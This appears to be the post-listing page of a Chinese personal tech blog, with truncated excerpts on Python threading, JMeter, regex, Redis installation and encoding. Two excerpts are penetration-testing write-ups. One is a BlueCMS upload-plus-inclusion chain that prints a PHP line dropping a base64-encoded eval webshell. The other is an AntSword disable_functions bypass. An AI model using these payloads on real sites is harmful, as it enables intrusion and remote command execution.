python实现简易版多线程框架避免重复造轮子
写给自己用的一个低配版的称不上框架的多线程框架
最近在写python的一些代码的时候经常遇到需要读取文件里面的网址或ip信息,然后对网址或者ip信息进行测试,一开始是用的一个主线程进行写,但是发现当遇到一些响应比较慢的网站的时候会变得超级慢,然后就想到了多线程解决响应慢的问题。其实在第一次写的时候已经写过一次多线程了,不过把代码给写死了,往这个任务上迁移的时候不是很好迁移,于是决定写一个适用于该场景的多线程框架(哈哈,其实称不上框架,可以说成模板,不过还是说成框架好听些,嘻嘻)
好了,扯 ...
解决Windows下Jmeter压测端口占用问题
windows下Jmeter压测端口占用问题报错信息描述压测的初期,在设置了 150qps/s 的并发数下压测几分钟后 Jmeter 就出现了如下报错。
JAVA.NET.BINDEXCEPTION: ADDRESS ALREADY IN USE: CONNECT
问题排查开始考虑的方向是Nginx、PHP、MySQL做了相关限制导致线程被占用, 但是修改对应的配置后发现没有任何效果,该报错的还是报错。 查了一波资料,发现 windows 环境下的端口循环回收需要消耗2~4分钟。由此猜 ...
Bluecms漏洞整理之文件上传文件包含组合拳
BluecmsV1.6SP版本文件上传漏洞与文件包含漏洞联动打组合拳拿shell文件上传位置——头像处正常上传php探针,会被拦截,经过大小写等方式测试后发现无法绕过,然后猜测可能是白名单。修改成正常图片扩展名后正常上传。然后我们修改正常图片内容为恶意脚本。
12<?php @fputs(fopen('shell.php',"w"),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pPz4=& ...
蚁剑菜刀虚拟终端执行命令返回ret=127之bypass
当我们成功上传到网站一句话木马的时候发现无法在虚拟终端执行命令。发现大神有做此问题的bypass,在此复现一下。
虚拟终端出现ret=127然后我们从Github上下载bypass的两个关键文件,地址点我.将这两个文件上传到目标站点目录下,推荐根目录然后我们需要在当前目录下建个临时目录,存放临时文件,此处我建的名字为tempcmd,然后在该目录下再建个临时文件,此处我建的是temp文件
然后根据作者的提示构造payload
1bypass_disablefunc.php?cmd=pw ...
python开发规范
python开发规范简单记录
python开发规范(转载自:https://www.cnblogs.com/cwp-bg/p/9827529.html)
代码布局1.1缩进推荐以4个空格作为一个缩进层次。
1.2表达式和语句中的空格1.2.1 前导空格(缩进)最流行的Python缩进方式是仅使用空格,其次是仅使用制表符。对于新的项目,应该仅使用空格而不是制表符。
1.2.2 非前导空格非前导空格在Python代码中没有意义,但适当地加入非前导空格可以增进代码可读性:(1)在二元算 ...
python将刻度分为N部分
需求:
一个刻度段,如时间刻度,从A-B,然后均分为N部分,如果最后无法均分,则最后可不做要求(可多可少),但是前部分需要相同。
如:
1-100,分成3部分,则三部分为[1,33],[34,66],[67,100]
1-99,分成3部分,则三部分为[1,33],[34,66],[67,99]
1-98,分成3部分,则三部分为[1,33],[34,66],[67,98]
代码如下:
12345678910111213time1 = 1 # 完整开始时间time2 = ...
正则匹配小记
匹配以123开头以abcd结尾的中间内容部分
1(?<=123).*?(?=(abcd|$))
匹配以123开头直到每行结尾的中间内容部分
1(?<=123)(.+)
匹配以123结尾的每行的前面的所有内容,若一行中有多个123,则匹配最后一个123前面的所有内容
1(.+)(?=23)
Github访问慢头像图片无法加载解决方法
9132d216821f509f22093422d6ae5fc128d8b11cdaeb2a15443fa003265e9131dd6361764d0e0e653098d4b77f415ef04a887240938befc6a965369c81f8e777dbfcc38e141052789bf584ecfbc0bfe4d12fd0d5cf3d75a0c2236772bb6bf301d471f3ad24213c4cab20241b0448e964047183ffdf1cd3eabeb48c1 ...
Redis-Centos安装踩坑
安装Centos系统此处略去N个字
更换Centos源由于默认安装的Centos源大陆访问比较慢,所以可以考虑更换一下源首先备份下原来的源
1mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
然后用vim新建一个文件CentOS-Base.repo
1vim /etc/yum.repos.d/CentOS-Base.repo
记得进入vim后先按一下键盘i键,确保进入插入模式,然 ...
解决python2输出到文件编码问题
问题文件输出到文件有时候需要进行编码的转换,不然可能会输出乱码。python3中可以使用
1open(filename,mode=’w’,encoding=’utf-8′)
进行对编码进行转换。python2中并不支持该方法。
解决方法方法一:
1234with open('./test.txt', 'w') as f: f.write('测试\n') f.write('测试\n'.decode( ...